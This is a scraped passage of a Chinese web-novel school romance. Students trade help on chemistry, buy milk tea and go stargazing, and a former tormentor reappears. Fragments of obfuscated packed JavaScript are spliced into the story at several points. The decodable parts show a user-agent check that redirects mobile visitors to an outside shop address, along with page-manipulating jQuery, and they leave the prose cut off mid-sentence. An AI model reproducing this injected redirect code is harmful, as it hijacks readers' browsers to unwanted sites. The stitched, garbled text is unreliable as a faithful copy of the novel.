傅弦音眨眨眼,声音有些虚:“不对。” 化学老师却没轻易放过她,继续问道:“为什么不对。” 为什么不对。 她不知道啊。 抓耳挠腮之际,傅弦音低头瞥见尹泽轩在草稿纸上写的提示。 她赶忙道:“因为半径越大熔点越低。” 化学老师胡伟明满意地点点头,露出和蔼的笑容:“嗯,不错。” 傅弦音刚要坐,就听化学老师说:“你是傅弦音是吧,年级第一,前不久刚转来的新同学。” 傅弦音点点头。 胡伟明继续道:“我看过你成绩单,其他科目都非常完美,就是这个化学吧……” 傅弦音低下脑袋。 77的化学,还是在试卷难度并不算特别高的前提下,和她692的总分确实不是太搭。 胡伟明没多为难她,只说了一句:“多在化学上下点功夫。” 傅弦音忙不迭坐下了。 下课,傅弦音长出一口气,伸了个懒腰,懒洋洋地趴在桌上。 宽大的秋季校服外套罩在她身上,窗外的微风把她马尾吹得有些乱,几缕轻飘飘的头发落在了尹泽轩胳膊上。 “你喝奶茶吗?” 傅弦音脸转向他,忽然问道。 胳膊上几缕长发随着动作又回到了她后背,尹泽轩愣了一下,呆呆点点头。 傅弦音露出笑容:“杨枝甘露喝不喝?等会大课间请你喝,谢谢你化学课救我狗命。” “啊不、不用。” 尹泽轩挠挠头,有些不好意思道:“我其实,知道你化学不好还挺高兴的,就是我也有比你好一点的,可以帮帮你。” 傅弦音唇角笑容加深,尹泽轩后知后觉自己的话有歧义,他赶紧纠正道:“我不是那个意思,我就是觉得……” “我知道。”傅弦音弯着笑眼,开玩笑般说道:“你不用解释,你就是那个意思。” 尹泽轩还想说什么,后排,程昭昭喊道:“音音,去不去卫生间。” “来啦。” 尹泽轩看着身边的女孩撑着桌子站起来,从床边的过道走到讲台,而后被程昭昭挽住双手,两人不知道说了什么,脸上绽开笑容。 大课间,程昭昭要在教室里补作业,没法陪傅弦音去买杨枝甘露。过来晃悠的林安旭听见傅弦音要去买杨枝甘露,说道: “姐,我帮你买了呗,你也省的跑了,加脆啵啵是吧?” 傅弦音:“没事,我自己跑一趟,就当锻炼了。” 林安旭:“也行,那走。” 他俩从前门出去,林安旭顺手敲敲顾临钊桌子,道:“钊哥,小卖部去不去。” 林安旭问的时候,傅弦音就靠在门框上面垂着眼睛看他。 从换位之后,除去偶尔晚上一起回宿舍,顾临钊和傅弦音就没怎么说过话。 顾临钊看向傅弦音,问道:“你也去?” 傅弦音点点头。 宋瑶歌捏着笔,笔尖在空白的题面上戳出了好几个点。 然后她就看到他同桌起身,对傅弦音说道:“行,那走吧。” 和顾临钊同桌伊始,宋瑶歌是兴奋的。 当天晚自习,她一点习都没学进去。她从没离顾临钊这么近过,少年身上洗衣粉的清香,思考题目时转笔的小动作,还有遇到难题时皱起的眉头。 这都是从前的她完全没有接触到的。 在看到座位表时,宋瑶歌觉得自己也能享受天时地利人和,和顾临钊拉近关系,就像傅弦音一样。 然而事实却并不如她所愿。 顾临钊完全不会主动和她说话,偶尔她鼓起勇气问顾临钊几道题,对方讲出的公式她也根本听不懂。 她和顾临钊,真就只是普通同桌。 宋瑶歌有些难过地低下头。 视线落到桌面上一片空白的数学作业。 宋瑶歌难过的心更难过了。 奶茶店,傅弦音对着里面的阿姨喊道:“要两杯杨枝甘露,都加一份脆啵啵。” 顾临钊眼神动了动。 林安旭说:“两杯?姐,你给程昭昭也带一杯?” 傅弦音指着已经做好的奥利奥奶茶说:“昭昭喝这个,我给我同桌带的。” 同桌二字像是戳到了顾临钊的某个应激开关。 林安旭脑子都没过,就说:“你同桌?钊哥不在这呢吗?” 傅弦音好笑道:“你记忆停留在上周了吗?我同桌是尹泽轩啊。” 现做的奶茶要等一会,林安旭先去小卖部买零食了,顾临钊留在奶茶店陪傅弦音等杨枝甘露。 傅弦音看着靠在墙边的人,有些纳闷:“你不买奶茶?” 顾临钊:“不买。” 傅弦音:“那你也不去小卖部或者食堂?” 顾临钊:“不去。” 傅弦音不理解:“那你过来干嘛?” 顾临钊一时语塞。 什么叫他过来干嘛。 才换位多久,就开始赶他? 之前,她没吃晚饭,他陪她去便利店吃饭,她心情不好,他陪她去散心。 这些目的性完全是陪伴的事情,二人对此接受度都很高。 怎么现在陪她买杯奶茶她都要专门问上一句。 而且,顾临钊完全不觉得她是想从他嘴里听到那句:“陪你。” 他甚至能想象到他说出这句话之后傅弦音惊悚的表情。 对面的女孩还在歪着脑袋看他。 他垂了眼眸,道:“出来溜达溜达。” “哦。” 傅弦音点点头,转过身,继续等那两杯杨枝甘露。 顾临钊看着她的背影,心情忽然就有些不爽。 她给尹泽轩买杨枝甘露。 买的还不是做好的普通版,是她自己研发出的加脆啵啵版。 顾临钊的思维忽然就不受控制地回到他和傅弦音同桌第一天,他看傅弦音心情不好,和林安旭来奶茶店时鬼使神差地给傅弦音顺手拿了杯杨枝甘露,而后被傅弦音拉着讲了一遍杨枝甘露小课堂的时候。 他抬眸看向吧台,两杯杨枝甘露已经做好,傅弦音拎着两个袋子,黄澄澄的果汁在瓶子里晃荡。 这两杯,其中有一杯是买给尹泽轩的。 那到时候,当初在他身上上演的杨枝甘露小课堂是不是还要在尹泽轩身上再上演一次? 是不是她和谁同桌,她都会给对方买杨枝甘露。 是不是她和谁同桌,她都会那样。 啪—— 傅弦音屈起手指,在顾临钊眼下打了个响指,好奇道:“愣什么呢,不买走了。” 她手里提了三杯奶茶,两杯杨枝甘露在左手,给他打响指的右手小拇指勾着程昭昭的奥利奥奶茶。 顾临钊没说话,向她伸出手:“我给你提。” 傅弦音没拒绝,把右手的奥利奥奶茶递给了顾临钊。 顾临钊的视线却落在那两杯靠在一起的,黄澄澄的杨枝甘露。 他觉得自己是在犯病,因为他听见自己开口说道:“杨枝甘露给我吧,两杯,那个沉一点。” 傅弦音抬眸看了他一眼。 哎,傅弦音心想,她同桌善良半仙的人设是焊在身上了。 不对,她现在同桌是尹泽轩啊。 怎么她也说道同桌下意识就想到顾临钊,跟林安旭似的,明明都换位置一个星期了。 她脑子里在这边瞎想,落在顾临钊眼里就是想拒绝不知道从何开口。 心里的不爽一点点扩大。 还没等他再开口说什么,傅弦音就把那两杯杨枝甘露递了过来。 “谢谢班长。” 傅弦音笑嘻嘻道,她自然地把顾临钊手指上拎着的奥利奥奶茶拿了下来,而后把两杯杨枝甘露又挂了上去。 冰凉的指尖触碰到自己温热的手指。 顾临钊感觉自己的呼吸好像变慢了一瞬间。 她手怎么还是这么凉。顾临钊心想。 都换到窗边了,大太阳照着,怎么还照不暖和。 “来了来了。” 林安旭咋咋呼呼的声音从门外传来,顾临钊脑袋被魔音穿耳瞬间回神。 林安旭看着两人手里拿着的奶茶,问道:“姐你买完了?那走呗。” “今晚家长会,不用上晚自习,爽翻了直接!” 林安旭喝着冰红茶,喜滋滋道:“姐,我跟程昭昭还有几个同学打算晚上在校门口吃炒菜,你要一块不?反正不用上晚自习,放松放松嘛。” 傅弦音看了眼顾临钊,下意识问:“你去吗?” 林安旭:“钊哥?他想去也没得去,班长嘛,家长会跑不了的。” 傅弦音抿抿唇,说:“我可能也去不了,我家长要我在学校待着。” 林安旭有些可惜:“哎,好吧,没事,咱回头再约。” 林安旭很快又换了话题,他和程昭昭一样,是没人回应自己也能说得很开心的类型。 落叶堆在路边,堆了厚厚一层。 傅弦音一脚踩上去,叶子碎裂发出嘎吱嘎吱的声音。 上周换完位那天,回寝室她就给陈慧梅和傅东远各发了消息。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在高颖进教室之前,傅弦音站在她旁边,垂着脑袋,小声道:“抱歉老师,我家长……临时有事,家长会来不了了。” 高颖叹了口气,摆摆手,示意自己知道了。 她走进教室,继续家长会的流程,顾临钊把收集好的家长反馈单放在讲台上,和高颖说了什么,从教室出来了。 傅弦音又忍不住看了眼自己的桌子。 傅东远没来,她也不想再给陈慧梅打电话了。 她不想听见陈慧梅抱怨傅东远,也不想听见陈慧梅说诸如“你早该让我来,你只有我了”之类的话语。 傅弦音忽然觉得自己很可笑。 这么多年了,她怎么还是会对傅东远有期待呢? 明明她已经十七岁了,明明傅东远一直都是这样,明明她已经告诉过自己很多次不要对他们有任何期待,为什么—— 为什么心底里还是会有一处隐秘的地方还是生出了柔嫩的枝芽,期待会不会有一丝甘霖降临。 可是这地旱得像他妈撒哈拉。 傅弦音被自己的比喻逗笑,她靠着墙边,噗嗤一下笑出声,忽然感觉到什么,抬头和顾临钊四目相对。 傅弦音觉得自己现在看起来一定很像个疯子。 她脸是垮着的,眼是丧着的,偏偏嘴角像是提线木偶似的被拽了起来。 走廊的灯灭了,阴影包裹住傅弦音,给了她点安全感,让她能在此时此刻存活着。 她慢慢垂下眼睫,没有说话。 顾临钊看着面前的人,口中的话绕了又绕。 半晌,他转身离开。 傅弦音听见动静,抬起头,却发现本应该走远的人此刻就站在不远处,歪着脑袋看她。 “不过来吗?” 总之,等傅弦音回过神来的时候,她已经和顾临钊一起走在校园里了。 她背着书包,看着天上明晃晃的星月,忽然冒出一句: “寒鸟树间响,落星川际浮。” 顾临钊轻笑一声:“还挺有文化。” “是吧。”傅弦音一点也不谦虚:“语文139可不是白考的。” “那熏陶熏陶我,看看我下回月考能不能考139。” 顾临钊说:“你知道我看着这个,脑子里只能冒出来什么吗?” 傅弦音很配合地问:“什么?” 顾临钊:“月明星稀,乌鹊南飞。” 明明不好笑,但傅弦音还是不由得弯起了唇角。 她说:“可是星星不稀,咱学校也没有乌鹊。” “好久没有看到这么密的星星了,”傅弦音叹道:“上次看到还是在上次。” 顾临钊只是笑。 傅弦音白了他一眼,就见顾临钊收了笑容,只是眼里还有星点笑意。 他问:“手机还有电吗?” 傅弦音点亮屏幕给他看,说:“基本上满的。” 她喉咙动了动,问道:“你要干什么。” 银丝一样的月光柔柔洒下,在两人身上渡了层闪着碎钻的纱。 少年的笑容很有蛊惑力,像是月亮上住着的妖怪,下凡来诱她。 他说: “把晚自习翘了,看星星。” “去不去。” 25. 星星 等傅弦音反应过来的时候,她和顾临钊已经坐在车上了。 傅弦音觉得自己真是骨子里流的都是叛逆的血。 但凡顾临钊单纯只说一句去看星星她都不一定去。 偏偏他还加了一句,把晚自习翘了。 违反班规班纪对于傅弦音这种脑子有泡的叛逆少女来说很有吸引力。 尤其是平日里看她看得死紧的班长拉她翘课。 傅弦音骨子里叛逆少女之魂熊熊燃烧。 等坐上车了她才反应过来。 什么翘晚自习啊,本来晚上开家长会就不用上晚自习的好吧。 这人不去当营销号可惜了。 她恨恨地看了顾临钊一眼,道:“祝你语文永远考不到139。” 顾临钊“啧”了一声:“带你看星星你还咒我。” 傅弦音别开脑袋,不想跟他说话。 赌气的时间并没有很长。 傅弦音看着车子逐渐驶离市中心,说:“这条路没见过哎。” 顾临钊嘴里咬了块糖,声音有些含糊,说出的话却直扎人心:“在北川,你见过的路应该也不多吧。” 他这话说的是事实。 傅弦音转来北川这不到一个月,基本全都待在学校里,出门完全都得看导航,认识的路不过就是学校门口那条街还有看傅叶阳打球的那片公园。 但傅弦音就是生气。 她气鼓鼓地瞪了顾临钊一眼,对方倒是没良心地笑了。 “生气了?” 对方声线微微上扬,伸出手放到傅弦音这边,说:“诺,吃个糖,别气了。” 夜色漆黑,傅弦音看不清他手里的是什么糖。 但傅弦音直觉是薄荷糖。 这算是她对顾临钊的刻板印象。 她边撕包装袋边说:“你不会是要给我下药然后给我卖了吧,这糖正经超市买的吗?合法能吃没毒吧?” 顾临钊:“那你还吃?” 傅弦音:“我这么一个智勇双全的人,我怕你?” 塑料吱嘎吱嘎地摩擦,傅弦音把糖挤到嘴里。 出乎意料,不是清爽的薄荷糖。 是颗酸酸甜甜的水果糖。 她“啊”了一声:“苹果味的啊。” 顾临钊懒散道:“是啊,苹果味的迷药。” 车在一片漆黑处停了下来。 傅弦音狐疑地看了顾临钊一眼:“你确定你干的事合法的勾当?” 这乌漆嘛黑伸手不见五指的,别说把她卖了,就是把她杀了都得天亮才能有人看见吧。 顾临钊有些无奈,他手电筒照亮了几个字。 “天文公园,”他说道:“正经公园。” 他关了手电筒,轻轻拽了拽傅弦音的校服袖子,见对方跟着自己开始走,才将手插回兜里,说道:“而且我没满18,干不了。” 傅弦音踢飞一块小石子,说:“时代变了,现在有的地方16以上就招工了。” “是吗?” 顾临钊若有所思般点点头:“那改天我去应聘一下试试。” 傅弦音噗嗤一下笑出声,骂了句:“神经。” 天文公园连路灯都没有,估计是为了尽可能减少光污染,不过今天天晴,月光也盛,刚好能把路将将照亮,省得打手电筒了。 傅弦音踩着落叶,跟着顾临钊。 天气不错的缘故,今天公园人还不少。 离老远就听见里面叽叽喳喳的声音,傅弦音侧耳听了一阵,忽然问道:“林安旭他们也在?” 这哥嗓门是真不小,大老远她别人的话听不清,林安旭的话倒是能零散听到几句。 “嗯,”顾临钊说:“他们吃完饭,看着天气不错,就跑来看星星了。” “看过吗?”顾临钊指指天上的繁星。 傅弦音说:“在别的地方看到过,没在市里看过。” 市里一般光污染严重,很少能有不错的天文观测地点。 傅弦音初高中的时候曾经大半夜偷偷跑山上看星星,她胆子大,初中陈慧梅也没那么疯,看她看得没那么严,傅弦音就大半夜偷偷流出家门,雇人拉她上山看星星。 后来高中,陈慧梅焦虑她成绩焦虑到神经质,有时陈慧梅把她赶出家门,傅弦音就找人带她上山看星星。 她也说不上是为什么喜欢看星星,可能因为山上人少,清净,她自己一个人可以发好久的呆。 不过高三,学习压力一下子变大,傅弦音就再没去过了。 顾临钊慢悠悠地走着,声音也懒洋洋:“这地还是初中林安旭带我来的,毕竟还算是在市里,光污染多少都还有,所以这天文公园没什么人来,久而久之也算是荒废了。” 傅弦音看了看四周,说:“不过这边挺暗的啊,也没什么高楼大厦,光污染的程度在市里算是很不错了。” 顾临钊说:“因为边上建筑拆了重建了,重建完就不是现在这样了。我俩上初中的时候这地光污染比现在严重很多,基本上没什么人来看星星,大爷大妈来锻炼身体的倒是多。” 原来如此。 傅弦音“哦”了一声,说:“所以你和林安旭初中就认识了。” “嗯。”顾临钊点点头:“初中就和他一班,高一分班没分到一块,选完课之后倒是又分到一班了。” “还挺巧的。”傅弦音评价道。 “确实。”顾临钊没否认,忽然笑了一声,说:“林安旭第一次拽我来这,我俩都跟家里人闹了矛盾,不想在家待着,一时之间也没什么想去的地方,他就说约同学出来看星星吧。” “他当时说,出来看星星,多浪漫的地,说不定能碰到妹妹,就算碰不到,提前踩踩点,以后也可以约妹妹来。” “结果那天阴天,云厚得什么都看不见,公园只有锻炼的大爷大妈。约出来的同学气得把林安旭骂了一通。” 傅弦音笑得不行。 她甚至都能想象出来,初中的林安旭信誓旦旦约同学出来看星星,结果来看到一对大爷大妈然后傻眼了的样子。 笑着笑着,她忽然问道:“所以,你也跟家里人闹矛盾啊。” “当然了。” 顾临钊看她像是看什么稀奇物种:“谁没跟家里人闹过几次矛盾,多正常的事情。” 他这句话说完,傅弦音耳朵忽然有点热。 不是因为顾临钊说和家里人闹矛盾很正常,而是她忽然反应过来。 刚才顾临钊说了他小时候的事,那么按照一般聊天的规律来说,好像轮到她说点她的故事了。 她不是很想和顾临钊说这些事情。 或者说,她不知道该怎么和任何人开口讲这些故事。 乱搞的爸,疯了的妈,虚无的家和破碎的她? 她压下心底的那点暗涌着的情绪,打算等顾临钊再开口。 可是顾临钊还真就没再开口了。 沉静的氛围笼罩了她们,傅弦音莫名觉得有些难捱。 “钊哥,你来了!” 不远处的人群中,林安旭看见了两人,兴奋地挥手:“音姐,快来快来,我们刚才看到流星了!” 估计是顾临钊告诉了他,林安旭丝毫不意外傅弦音也在场。 程昭昭顺着林安旭的方向看来,冲傅弦音招手:“音音快来!” 傅弦音被程昭昭解救,小跑了几步过去。 离近了,傅弦音才发现几乎半个班都在这。 程昭昭给傅弦音说:“音音你看,那时猎户座的腰带。” 天上繁星中,傅弦音一眼就找到了那三颗连成线的星。 陈念可也很兴奋,她拽着傅弦音说:“我和昭昭刚才还找到天鹅座了,还看到了流星!” “哇——” 傅弦音很捧场:“流星哎,许愿了吗?” “太快了,没来的及许。”程昭昭说:“你不知道音音,哇,这是我第一次看见流星,我本来低着头看星座,不知道为啥突然就想抬头,结果就看到流星了。” 她兴奋得不行:“我都以为是我眼花了,我还想说哎那颗星星怎么在动,结果发现大家都不说话了,这才反应过来是流星。” “不知道还会不会再有一颗,我刚才都没来得及许愿呢。” 程昭昭遗憾道。 傅弦音安慰她:“会有的。” 陈念可被另外几个女生叫走,傅弦音和程铃铃找了个长椅坐下,两人脑袋搭在椅子背上,仰头看天。 璀璨的银河被团团星云缀上了色彩,漫天繁星落在天上。 傅弦音感觉自己能看一辈子。 有些遗憾的是,大家到最后也没看到第二次流星。 程昭昭垂头丧气:“我还想着再看到的时候许愿我能考上好点的大学呢。” 傅弦音安慰她:“没事啦,还有下次,高考还有那么久,肯定能看到星星的。” 程昭昭的负面情绪很快就消散了,回去的路上,她拉着傅弦音叭叭说个不停:“音音,你以后想上华清还是京北呀?我感觉你的成绩,想上什么大学都能考上。” 傅弦音笑笑:“我也不知道呢。” 程昭昭:“华清和京北我是不奢望了,我现在就在想考北川大学,但是我离北川还差大几十分呢。” 傅弦音:“慢慢来嘛。” 傅弦音看着窗外。 暖色的路灯再次出现在视线内,灯光照亮了整个城市。身后是黑暗一片,车子带着她朝华灯明亮处驶去。 耳边是程昭昭的絮絮叨叨,她从月考讲到下一次月考,又不知怎么,讲到了林安旭和顾临钊初中同家里人闹矛盾那件事。 “那次他俩算是离家出走,家里人可着急了,都差点报警了。晚上俩人回去又被骂了一通,说大半夜的出去不知道危险吗?” 傅弦音想了想,说:“不过我记得顾临钊跟我说他家没有门禁的来着?” 程昭昭:“那是现在高中了嘛,他俩那时候才初中,大晚上偷偷跑出去,我要是他们家长,我也要把他们骂一顿。” 傅弦音没再说话了。 她从没有体会过这些,从初中开始,陈慧梅就会在生气之下把她赶出家门,也不会管是不是在晚上,她一个小女孩自己在外面会不会有危险。 她倒是没有羡慕,只是觉得,顾半仙真的在一个很好的家庭中长大。 * 周二。 数学课上,高颖带来了一个让大家都很心痛的消息: “学校刚下了通知,月考提前了,提前到10月23,一是因为期中是联考,学校都很重视,所以月考提前一点,考完及时发现问题,留更多的时间准备期中。” “二是,怕你们运动会之后心都玩飞了,所以考完再办运动会。” 班级里响起一片哀嚎。 高颖:“行了,都别给我鬼哭狼嚎的,先考月考是好事,省得你们运动会玩也玩不尽兴,还得惦记着月考。” 林安旭问:“那老师,运动会时间还是不变吗?” 高颖:“运动会时间不变,你们这个月该学习学习,该准备运动会准备运动会,记住劳逸结合,听到了吗?” 底下响起稀稀拉拉的声音: “听——见——了——” “行了,就说到这,把习题册都拿出来。” 傅弦音叹了口气。 今天是10月10号,距离23号还有不到两个星期。 傅弦音此刻的心情和刚转来北川差不多。 甚至压力比那时还要大点。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060455|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 第二次月考,学得知识都变难了,傅弦音已经感觉到自己时间很不宽裕,特别是不擅长的科目,学得也越来越吃力。 上一次月考在语文走了狗屎运加上化学卷子简单的前提下,她才比顾临钊高了一分。 如果没有这些buff加持,傅弦音觉得自己可能只能在年级前五,前三都不一定。 进步是很慢的。 这一点傅弦音深刻明白,特别是化学这样的短板,可能她花了很多时间,但是成绩并不会给她一个显著的提高。 她是不擅长化学的,这一点她在刚上高一的时候就知道,和那些天生在化学上有天赋的同学比,傅弦音花出更多的时间,都不一定能和他们考到一样的分数。 傅弦音翻开练习册,叹了口气。 大课间,傅弦音拿出化学习题册。 她有道题不会,刚才上课前问尹泽轩,他也没什么思路。 正好大课间,傅弦音打算去办公室问化学老师。 她拿着习题册起身,不知怎么,傅弦音忽然下意识看了眼顾临钊。 他低着脑袋,看起来像是做题的样子。 走到讲台前,路过林安旭,林安旭正整理着运动会报名表,他看向傅弦音,问道:“姐,运动会有啥心仪的项目没?” 傅弦音摇摇头:“没,我这人头脑不简单四肢不发达,生平最不喜欢的就是运动。” 这是实话。 傅弦音觉得可能其实就是懒骨头。 她是那种但凡有电梯绝不走楼梯,但凡坐着绝不站着的类型。 15班在三楼,每天上课爬楼已经是傅弦音最大的运动量了。 林安旭被她逗笑,笑个不停,而后他叹了口气:“哎,咱班女生少,去年运动会项目没报满,高姐发了好大的火,程昭昭都被派去跳远跳高了。” 程昭昭不知道什么时候过来,她勾住傅弦音肩膀,说道:“求求了,今年千万不要再派我跳远跳高,林安旭,你先给我把200米报上。” 林安旭敬了个礼:“遵命,长官。” 傅弦音张张口:“项目报不满……还要硬派啊?” 程昭昭叹气:“对啊,好像是学校的规定,我也不清楚,总之去年,高姐给每个人都派了项目,早知道我就提前报200米了,跳远也就罢了,跳高对我来说就是跨栏嘛,还跨不过去。” 她抱着傅弦音嘤嘤嘤:“丢死我了。” 傅弦音看着林安旭那张报名表上的项目,犹豫着自己要不要抢先报一个简单点的,就听程昭昭说:“不过音音你应该不用担心啦,我们运动会每年都会有举班牌的,今年肯定是你。” 傅弦音:“举班牌就不用报项目吗?” 程昭昭:“嗯嗯,举班牌要穿裙子,还要化妆什么的,你举了牌的话,高姐应该就不会强制让你报名了。” 傅弦音若有所思地点了点头。 程昭昭趴在她耳边,小声道:“我跟你说音音,昨天宋瑶歌还在寝室里选要穿什么礼服举班牌,高姐都还没定下来呢,她就先选上了。” 傅弦音也小声说:“所以你们班去年举牌的是她对吧。” 很合理。 别说去年让宋瑶歌举牌,就算今年让宋瑶歌举牌傅弦音都觉得很合理。 举牌嘛,说的通俗点,就是要找班上形象气质佳的,傅弦音觉得宋瑶歌其实还挺当仁不让的。 特别是在她转学来之前。 就当她犹豫要不要赌这么一把还是提前报个简单的运动项目,免得最后留给她的只剩长跑这种地狱级难度时,程昭昭在她耳边说: “不是,我们班去年是顾临钊。” 什么? 不是你说什么? 顾临钊举班牌?? 傅弦音眼睛都瞪大了。 她不可思议地看向程昭昭,一副我读书少你别他妈糊弄我的表情。 “真的。” 程昭昭说:“其实举牌一般也不限制性别,只不过一般都是默认女孩,去年本来也是定了宋瑶歌举班牌,运动会那天下雨,开幕式临时往后挪了一天,宋瑶歌当时刚好有舞蹈比赛,别的女生临时借礼服也借不到,高姐就让顾临钊顶上去了。” 傅弦音想象了一下,一群公主般打扮的女孩中,冒出来了个顾临钊的场景。 怎么好像,也不太违和呢。 她没忍住,噗嗤一下笑出声。 正巧,尹泽轩从前门走进来,他看向傅弦音手里拿着的化学习题册,说:“那道题你有思路了吗?” 傅弦音:“一点没有。” 尹泽轩:“那你等我一下,我跟你一起去问老师吧。” 傅弦音比了个OK的手势,拿着化学习题册在门口等尹泽轩,才发现自己好像没拿红笔。 身边就是顾临钊的桌子,傅弦音内心权衡了一下是多走两步路回去拿红笔,还是找顾临钊借笔。 两秒钟后,傅弦音果断选择了后者。 她曲起手指,轻轻巧巧顾临钊的桌子,问道:“能借下你红笔吗?马上还你。” 讲台边离顾临钊不远。 林安旭问傅弦音要不要报项目的时候他就听见了,一直听到尹泽轩要和她一起去化学老师办公室。 化学老师办公室在五楼。 之前傅弦音老找他问题,一方面是他答应给他讲,另一方面就是化学老师办公室在五楼,傅弦音懒得爬楼。 怎么现在就愿意跟尹泽轩爬那两层楼了? 女孩白嫩的手指落在他课桌前,她微微弯着腰,凑到他这边说话时,顾临钊还以为她要问他题。 结果她说能不能借个笔。 于是他抬眼,和女孩四目相对,说: “笔都能找我借,题不能找我问?” 26. 善良 北川的人, 傅弦音“啊”了一声。 无端地,她声音磕磕绊绊:“我这不是……看你做题的嘛。” 顾临钊嗤笑一声。 傅弦音抿了抿唇。 下一秒,她听旁边人说:“把林安旭凳子搬来,我给你讲。” 不用爬楼梯了。 傅弦音吐了吐舌头,把化学习题册翻开到那一页,给顾临钊指了指。 尹泽轩拿习题册过来的时候,刚好看见傅弦音坐在顾临钊桌子边。 听见声音,傅弦音抬头,她指了指顾临钊,解释道:“他说给我们讲,不用爬楼去老师办公室了。” 尹泽轩愣愣地点头:“哦,好。” 没多余的椅子,尹泽轩就半蹲着听,他也不介意,乐呵呵地蹲在桌子边。 傅弦音怕尹泽轩看不到,搬着凳子往顾临钊那边挪了挪。 顾临钊拿红笔圈了几个知识点,给了个模糊的思路,说:“就这样,你看看能不能写出来。” 尹泽轩听完就动笔开始写了,顾临钊的提示对他很有用,把思路堵塞的地方一下子给通开了。 相比之下,傅弦音基础不太好,写得就慢了些。 尹泽轩先写完,他想和顾临钊确认答案:“答案是……” 话还没说完,顾临钊朝傅弦音的方向扬了扬下巴,说:“等一下。” 尹泽轩后知后觉地反应过来,有些歉意地看了傅弦音一眼。 傅弦音没注意两人说了什么。 她正专心致志地和化学做斗争。 斗争很不顺利。 这道题对她来说太难,哪怕顾临钊给了她提示,她写得还是磕磕绊绊。 半天,她戳了戳顾临钊,双手合十,晃了晃:“行行好,再给点提示呗。” 顾临钊被她逗笑,又给了一步提示。 这一次,傅弦音的做的很快。 最后一个步骤写完,她把习题册推过去。 顾临钊扫了一眼,说:“对了。” 他看向尹泽轩的习题册,说:“你的也是对的。” “好耶。” 傅弦音伸了个懒腰,刚准备走,就听身后的人说:“不想去爬楼梯可以问我。” “我刚想问你的,真的。”傅弦音认真道:“但我这不是看你写题呢嘛。” 顾临钊睨她一眼:“之前我写题也没见你专门上楼跑一趟。” 那不是之前同桌嘛。 傅弦音心里暗暗吐槽,同桌都坐一块,等一等多方便。现在离这么远,站边上等他写题那功夫她不如上去跑一趟了。 当然,这话她没说出口。 人家心善给她橄榄枝,她肯定得好好收下。 宋瑶歌一直在位子上没动。 等傅弦音走了,她扭扭捏捏拿出化学习题册,指着同样的题,问顾临钊: “班长,这题我也不会,你能也给我讲讲嘛。” 按照那个讲题流程,一点一点提示,再一点一点耐心引导,顾临钊能给她讲好久。 宋瑶歌心里美滋滋。 然而。 顾临钊看了眼题,抽出张草稿纸,直接唰唰唰地把过程写了下来,而后递给宋瑶歌,说: “看看,有哪里看不懂吗?” 宋瑶歌傻眼了。 她接过那张草稿纸,小声道:“好、我、我看看……” 顾临钊:“嗯。” 化学公式密密麻麻,像是咒语一样。 顾临钊把草稿纸给她之后视线就没再停留在她身上。 宋瑶歌绝望地把草稿纸夹到化学习题册里。 该怎么说,顾临钊写的,她一点都看不懂? * 日子还在过。 学习紧迫的程度又回到了刚转来这里的时候。 傅弦音的努力程度让程昭昭都忍不住咋舌:“音音,你要不要这么拼。你有休息过吗?” 傅弦音想了想。 除了国庆假那几天,她好像还真没休息过,一直是连轴转的状态。 程昭昭捏了捏傅弦音的脸颊,又戳了戳她眼下的青黑:“音音,你脸上都没肉了。” 她趴在尹泽轩的位子上,嘟囔着:“我要是你妈妈,我得心疼死。” 傅弦音写题的动作一僵,而后扯了扯嘴角。 她忽然有点大逆不道的想,如果程昭昭真是她妈就好了,她日子过得肯定比之前好多了。 这周末是大休,上一次放假还是国庆节的假。林安旭这个社牛上次和傅叶阳打球没打过瘾,这次竟然约了他趁着大休一起打球。 她问:“那你们在哪打,还是人民公园边上的球场?” 林安旭:“还没定下来呢,不过可能去附中打吧,他们这周只休一下午,去他那打方便点。” 林安旭说完,傅弦音举起大拇指,由衷地说: “你好牛逼。” 林安旭问:“姐,你去吗?” 傅弦音:“去。” 陈慧梅知道她年级第一之后没有消停几天,又让她去弄附中的卷子做。 她被陈慧梅烦的没辙,只好答应了下来。 她到最后也没和陈慧梅说那天家长会的情况。 不知为什么,陈慧梅竟也没问。 而傅东远也没有向傅弦音做任何的解释。 又或者说,那条临时来自秘书的信息,已经是傅东远认为的解释了。 总之,谁也没有再提起那天的家长会。 傅弦音也把这页翻了过去。 她伸了个懒腰,突然听见门外传来一道声音:“傅弦音,你们班主任找你。” 傅弦音猛地转过头,在门口看到了一个熟悉的人影。 吴嘉程。 她眉毛皱起,吴嘉程笑着说:“快点啊,走了。” 他话语里有意无意露出的熟悉让神经大条的林安旭都察觉到了。 他有些好奇道:“姐,你朋友啊?” 傅弦音忍着恶心道:“没,就认识。” 她从前门出去,吴嘉程就跟在她身边,说:“怎么样,没想到还能在这碰到我吧?” “你知道吗?打听你的事情根本不难,打听你转到了哪个学校也根本不难。” “北川一中嘛,你能转,我也能转。你要不要猜猜我是怎么转过来的?” 傅弦音耐心耗尽:“那你要不要猜猜你下次被揍是什么时候?” “揍我?”吴嘉程像是听到了什么惊天笑话。 “傅弦音,”他惊讶道:“北川一中校规校纪这么严,你还敢踩高压线啊。你信不信,你揍了我,你也得滚蛋。” 傅弦音步子停住。 她站在楼梯上,居高临下地看着吴嘉程。 身侧是走动的人群,傅弦音定定地站在原地,看着吴嘉程,忽然笑了出来。 不是冷笑,也不是嘲讽的笑,就是发自内心的开始笑。 她说: “那好啊,大不了一起滚蛋,一起去死都行。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她说:“你也要注意劳逸结合,别学得太累了。” 